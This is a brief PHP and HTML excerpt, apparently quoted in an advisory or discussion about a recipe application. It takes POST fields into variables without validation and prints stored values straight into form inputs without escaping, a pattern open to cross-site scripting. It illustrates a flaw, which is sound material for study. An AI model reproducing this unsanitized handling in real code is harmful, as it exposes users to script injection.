ex:  
$r_id = $_POST['r_id'];  
$r_name = $_POST['r_name'];  
$r_category = $_POST['r_category'];  
$r_servings = $_POST['r_servings'];  
$r_ingredients = $_POST['r_ingredients'];  
$r_instructions = $_POST['r_instructions'];  
$r_description = $_POST['r_description']  
---------------------------------------------------  
<TD ALIGN=LEFT VALIGN=MIDDLE><INPUT TYPE=text NAME="r_name" VALUE="<?php print $val_name; ?>" SIZE=40 MAXLENGTH=80></TD>  
<TD ALIGN=LEFT VALIGN=TOP><TEXTAREA NAME="r_instructions" COLS=60 ROWS=20><?php print $val_instr; ?></TEXTAREA></TD>
